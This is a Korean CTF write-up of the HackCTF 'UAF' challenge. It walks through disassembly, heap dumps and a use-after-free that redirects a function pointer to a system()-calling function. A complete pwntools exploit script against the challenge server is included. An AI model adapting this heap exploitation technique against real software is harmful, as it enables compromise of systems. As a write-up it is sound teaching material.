본문 바로가기

CTF_Write_UP/HackCTF

[HackCTF] UAF

시작

안녕하세요 :D

정말 많은 고민을 했고, 다른 분들의 라이트업을 볼까 말까 엄청 고민했지만 결국엔 풀어낸!! 그런 문제입니다.

힙 영역 문제를 하나하나 풀 수록 점점 재밌어지네요 ㅎㅎ

Use After Free, 시작해보죠!!

Write UP

----------------------
        U-A-F
☆★ 종현이와 함께하는★☆
 ★☆  엉덩이 공부 ☆★
----------------------
 1. 노트 추가
 2. 노트 삭제
 3. 노트 출력
 4. 탈출
----------------------
입력 :

1, 2, 3, 4번 메뉴가 보이고, 입력을 기다립니다.

UAF 기본은 할당한 메모리를 해제하고, 다시 할당한 후 해제한 메모리 참조니깐

대충 1번으로 추가(할당)하고 2번으로 삭제, 1번으로 다시 할당 후 3번으로 참조해주면 될 것 같아요.

.
.
   0x08048abb <+99>:    call   0x8048540 <atoi@plt>
   0x08048ac0 <+104>:   add    esp,0x10
   0x08048ac3 <+107>:   cmp    eax,0x2
   0x08048ac6 <+110>:   je     0x8048ae7 <main+143>
   0x08048ac8 <+112>:   cmp    eax,0x2
   0x08048acb <+115>:   jg     0x8048ad4 <main+124>
   0x08048acd <+117>:   cmp    eax,0x1
   0x08048ad0 <+120>:   je     0x8048ae0 <main+136>
   0x08048ad2 <+122>:   jmp    0x8048aff <main+167>
   0x08048ad4 <+124>:   cmp    eax,0x3
   0x08048ad7 <+127>:   je     0x8048aee <main+150>
   0x08048ad9 <+129>:   cmp    eax,0x4
   0x08048adc <+132>:   je     0x8048af5 <main+157>
   0x08048ade <+134>:   jmp    0x8048aff <main+167>
   0x08048ae0 <+136>:   call   0x8048676 <add_note>
   0x08048ae5 <+141>:   jmp    0x8048b10 <main+184>
   0x08048ae7 <+143>:   call   0x8048804 <del_note>
   0x08048aec <+148>:   jmp    0x8048b10 <main+184>
   0x08048aee <+150>:   call   0x80488d5 <print_note>
   0x08048af3 <+155>:   jmp    0x8048b10 <main+184>
   0x08048af5 <+157>:   sub    esp,0xc
   0x08048af8 <+160>:   push   0x0
   0x08048afa <+162>:   call   0x8048510 <exit@plt>
   0x08048aff <+167>:   sub    esp,0xc
   0x08048b02 <+170>:   push   0x8048d08
   0x08048b07 <+175>:   call   0x80484f0 <puts@plt>

main() 함수입니다.

우리의 입력 값에 따라서 3개의 함수를 호출하는데요.

add_note() 먼저 보겠습니다.

.
.
   0x080487fa <+388>:   call   0x80484d0 <__stack_chk_fail@plt>
   0x080487ff <+393>:   mov    ebx,DWORD PTR [ebp-0x4]
   0x08048802 <+396>:   leave
   0x08048803 <+397>:   ret
End of assembler dump.

깁니다.. 체크하는 부분이 많아서 어셈 코드가 길어진 것 같은데 IDA 헥스레이로 보면 훨씬 간단할 것 같습니다 ㅋㅋ

동적 분석 해보면 대부분 jmp로 왔다갔다 하는 부분이라.. 중요한 곳만 짚고 넘어가요.

   0x080486c5 <+79>:    sub    esp,0xc
   0x080486c8 <+82>:    push   0x8
   0x080486ca <+84>:    call   0x80484e0 <malloc@plt>

add_note() 시작하자마자 8 bytes를 할당해줍니다.

   0x08048729 <+179>:   push   0x8
   0x0804872b <+181>:   lea    eax,[ebp-0x14]
   0x0804872e <+184>:   push   eax
   0x0804872f <+185>:   push   0x0
   0x08048731 <+187>:   call   0x8048490 <read@plt>

노트 크기를 입력받는 부분입니다. 추후 atoi() 함수로 값을 읽어와요.

   0x0804875b <+229>:   push   eax
   0x0804875c <+230>:   call   0x80484e0 <malloc@plt>

atoi()의 eax를 가진 채 할당해줍니다.

정리하자면 2개의 청크를 할당하는 함수에요. malloc(0x8)과 malloc(User_Input)!!

0x9c5a000:      0x00000000      0x00000011      0x0804865b      0x09c5a018
0x9c5a010:      0x00000000      0x00000011      0x61616161      0x61616161
0x9c5a020:      0x00000000      0x00020fe1      0x00000000      0x00000000

사이즈로 8을 주고 내용으로 a * 8을 주었습니다. 그 결과는 위와 같아요.

del_note()도 중요한 부분만 확인할게요.

   0x08048882 <+126>:   mov    eax,DWORD PTR [ebp-0x14]
   0x08048885 <+129>:   mov    eax,DWORD PTR [eax*4+0x804b070]
   0x0804888c <+136>:   mov    eax,DWORD PTR [eax+0x4]
   0x0804888f <+139>:   sub    esp,0xc
   0x08048892 <+142>:   push   eax
   0x08048893 <+143>:   call   0x80484c0 <free@plt>
   0x08048898 <+148>:   add    esp,0x10
   0x0804889b <+151>:   mov    eax,DWORD PTR [ebp-0x14]
   0x0804889e <+154>:   mov    eax,DWORD PTR [eax*4+0x804b070]
   0x080488a5 <+161>:   sub    esp,0xc
   0x080488a8 <+164>:   push   eax
   0x080488a9 <+165>:   call   0x80484c0 <free@plt>

별 거 없이 add_note()에서 할당한 두 개의 청크를 해제합니다.

이제 가장 중요한!! print_note() 함수를 보겠습니다.

   0x08048953 <+126>:   mov    eax,DWORD PTR [ebp-0x14]
   0x08048956 <+129>:   mov    eax,DWORD PTR [eax*4+0x804b070]
   0x0804895d <+136>:   mov    eax,DWORD PTR [eax]
   0x0804895f <+138>:   mov    edx,DWORD PTR [ebp-0x14]
   0x08048962 <+141>:   mov    edx,DWORD PTR [edx*4+0x804b070]
   0x08048969 <+148>:   sub    esp,0xc
   0x0804896c <+151>:   push   edx
   0x0804896d <+152>:   call   eax

여기서 취약점이 터집니다. +152 부분에 있는 call eax에서요.

위에 뭔가 복잡한 연산들이 쭉 있는데,

한 줄씩 따라가 보니깐

1. 우리가 입력한 인덱스를 참고해서

2. 그 인덱스의 add_note()가 시작하자마자 할당한 8 bytes 청크의 데이터 영역의 주소를 가져옵니다.

0x9c5a000:      0x00000000      0x00000011      0x0804865b      0x09c5a018
0x9c5a010:      0x00000000      0x00000011      0x61616161      0x61616161
0x9c5a020:      0x00000000      0x00020fe1      0x00000000      0x00000000

위에 메모리를 다시 끌어왔어요.

인덱스 0을 주면 2번 설명대로 malloc(8)의 data영역, 0x9c5a008을 참조해서 0x804865b를 call하는 겁니다!!

0x804865b는 노트를 출력하는 함수로, 말 그대로 data 영역을 읽어와 출력해요.

gdb-peda$ pd magic
Dump of assembler code for function magic:
   0x08048986 <+0>:     push   ebp
   0x08048987 <+1>:     mov    ebp,esp
   0x08048989 <+3>:     sub    esp,0x8
   0x0804898c <+6>:     sub    esp,0xc
   0x0804898f <+9>:     push   0x8048c05
   0x08048994 <+14>:    call   0x8048500 <system@plt>
   0x08048999 <+19>:    add    esp,0x10
   0x0804899c <+22>:    nop
   0x0804899d <+23>:    leave
   0x0804899e <+24>:    ret
End of assembler dump.

저 부분을 여기로 돌리라고 써있네요. 분석은 이 정도로 충분할 것 같아요.

 


 

우리는 malloc() 함수의 캐싱 기능, 병합 지연 속성을 이용할 것입니다.

얘는 힙 영역이 해제된 후 같은 사이즈로 다시 할당할 때, 똑같은 주소에 매핑하는 특성이에요.

print_note() 함수가 실행될 때 참조하는 영역이 magic() 함수로 바뀌어있다면 플래그를 딸 수 있을 것 같아요.

자.. 여기서 고민을 참 많이 했습니다. 하루 종일 했어요ㅠㅠ

그 결과입니다.

우선 첫 번째 할당을 해줍니다. 사이즈는 8로 할게요. 내용은 a * 8이구요.

그 다음 두 번째 할당을 해줍니다. 똑같이 사이즈는 8입니다. 내용은 b *8이에요.

0x95d8000:      0x00000000      0x00000011      0x0804865b      0x095d8018
0x95d8010:      0x00000000      0x00000011      0x61616161      0x61616161
0x95d8020:      0x00000000      0x00000011      0x0804865b      0x095d8038
0x95d8030:      0x00000000      0x00000011      0x62626262      0x62626262
0x95d8040:      0x00000000      0x00020fc1      0x00000000      0x00000000

청크가 위와 같이 할당됩니다.

이 상태에서 우리의 타겟인 0x804865b0x95d80080x95d8028 두 군데에 있네요.

print_note()에서 인덱스 0을 주면 전자를, 1을 주면 후자를 참조할 것입니다.

전자는 건드리기 힘들 것 같아요. 해제를 해주어도 똑같은 위치에 계속 할당이 될 것입니다.

후자를 타겟으로 잡도록 해요.

이제 두 청크를 해제하겠습니다.

----------------------
        U-A-F
☆★ 종현이와 함께하는★☆
 ★☆  엉덩이 공부 ☆★
----------------------
 1. 노트 추가
 2. 노트 삭제
 3. 노트 출력
 4. 탈출
----------------------
입력 :2
Index :1
성공!
----------------------
        U-A-F
☆★ 종현이와 함께하는★☆
 ★☆  엉덩이 공부 ☆★
----------------------
 1. 노트 추가
 2. 노트 삭제
 3. 노트 출력
 4. 탈출
----------------------
입력 :2
Index :0
성공!
----------------------
0x95d8000:      0x00000000      0x00000011      0x095d8010      0x095d8018
0x95d8010:      0x00000000      0x00000011      0x095d8020      0x61616161
0x95d8020:      0x00000000      0x00000011      0x095d8030      0x095d8038
0x95d8030:      0x00000000      0x00000011      0x00000000      0x62626262
0x95d8040:      0x00000000      0x00020fc1      0x00000000      0x00000000

성공적으로 해제되었습니다.

다시 할당을 해볼까요? 이번엔 어떻게 할 거냐면!! 첫 번째 할당에서 사이즈를 크게 줄 거에요!!

8 이상의 사이즈를 준다면 이전에 그 만큼의 사이즈를 할당한 적이 없기 때문에!! 병합 지연 속성이 안먹히죠?

때문에 0x95d8040 이후 영역에 청크가 할당될 것입니다. 사이즈에 16을 줄게요.

0x95d8000:      0x00000000      0x00000011      0x0804865b      0x095d8048
0x95d8010:      0x00000000      0x00000011      0x095d8020      0x61616161
0x95d8020:      0x00000000      0x00000011      0x095d8030      0x095d8038
0x95d8030:      0x00000000      0x00000011      0x00000000      0x62626262
0x95d8040:      0x00000000      0x00000019      0x63636363      0x63636363
0x95d8050:      0x63636363      0x63636363      0x00000000      0x00020fa9

좋습니다 :D

이제 한 번 더 할당을 하겠습니다.

첫 malloc(8)은 캐싱 기능에 따라 0x95d8010에 들어갈 것이고

두 번째 malloc(User_Input)은 사이즈를 8로 한다면 캐싱 기능에 따라 0x95d8020에 들어갈 것입니다!!

여기는 바로 해제된 2번 청크(인덱스 1번)가 print_note()할 때 참조하는 영역이죠?

이 부분에 magic()함수의 주소를 넣으면 됩니다. 결과를 보기 위해 일단은 abcdefgh로 내용을 넣겠습니다.

0x95d8000:      0x00000000      0x00000011      0x0804865b      0x095d8048
0x95d8010:      0x00000000      0x00000011      0x0804865b      0x095d8028
0x95d8020:      0x00000000      0x00000011      0x64636261      0x68676665
0x95d8030:      0x00000000      0x00000011      0x00000000      0x62626262
0x95d8040:      0x00000000      0x00000019      0x63636363      0x63636363
0x95d8050:      0x63636363      0x63636363      0x00000000      0x00020fa9

완벽하네요. print_note()를 부르고, 인덱스를 해제된 2번 청크(인덱스 1번)로 주겠습니다.

Stopped reason: SIGSEGV

gdb-peda$ x/wx $eip
0x64636261:     Cannot access memory at address 0x64636261

성공입니다!! 이제 익스 코드를 짜볼게요.

from pwn import *

context.log_level = "debug"

p = remote("ctf.j0n9hyun.xyz", 3020)

flag = 0x8048986

p.recvuntil(" :")       # Menu

p.sendline("1")         # Add note
p.recvuntil(" :")       # Size :
p.sendline("8")
p.recvuntil(" :")       # Content :
p.send("AAAAAAAA")

p.recvuntil(" :")       # Menu

p.sendline("1")         # Add note
p.recvuntil(" :")       # Size :
p.sendline("8")
p.recvuntil(" :")       # Content :
p.send("BBBBBBBB")

p.recvuntil(" :")       # Menu

p.sendline("2")         # Del note
p.recvuntil(" :")       # Index :
p.sendline("1")

p.recvuntil(" :")       # Menu

p.sendline("2")         # Del note
p.recvuntil(" :")       # Index :
p.sendline("0")

p.recvuntil(" :")       # Menu

p.sendline("1")         # Add note
p.recvuntil(" :")       # Size :
p.sendline("16")
p.recvuntil(" :")       # Content :
p.send("C" * 16)

p.recvuntil(" :")       # Menu

p.sendline("1")         # Add note
p.recvuntil(" :")       # Size :
p.sendline("8")
p.recvuntil(" :")       # Content :

sleep(0.5)

payload = ""

payload += p32(flag)
payload += "DDDD"

p.send(payload)

p.recvuntil(" :")       # Menu

p.sendline("3")         # Print note
p.recvuntil(" :")       # Index :
p.sendline("1")

sleep(0.5)

p.interactive()
[+] Opening connection to ctf.j0n9hyun.xyz on port 3020: Done
[*] Switching to interactive mode
//flag!!

Exploit!!

마무리

말로 설명해도 복잡한 문제인데 글로 적으려니 엄청 빡세네요 ㅋㅋㅋㅋㅋ 시간이 많이 없어서 ㅠㅠ

ㅋㅋㅋㅋ어찌어찌 풀어냈습니다.. 성취감 대박이에요 진짜

힙 영역 건드리지도 못했던 제가 이런 문제까지 풀 수 있게 될 줄은 꿈에도 몰랐어요 ㅎㅎ

감사합니다 :D

'CTF_Write_UP > HackCTF' 카테고리의 다른 글

[HackCTF] SysROP  (0) 2019.10.12
[HackCTF] Unexploitable #1  (0) 2019.10.10
[HackCTF] Pwning  (0) 2019.09.26
[HackCTF] Gift  (0) 2019.09.23
[HackCTF] Look at me  (0) 2019.09.23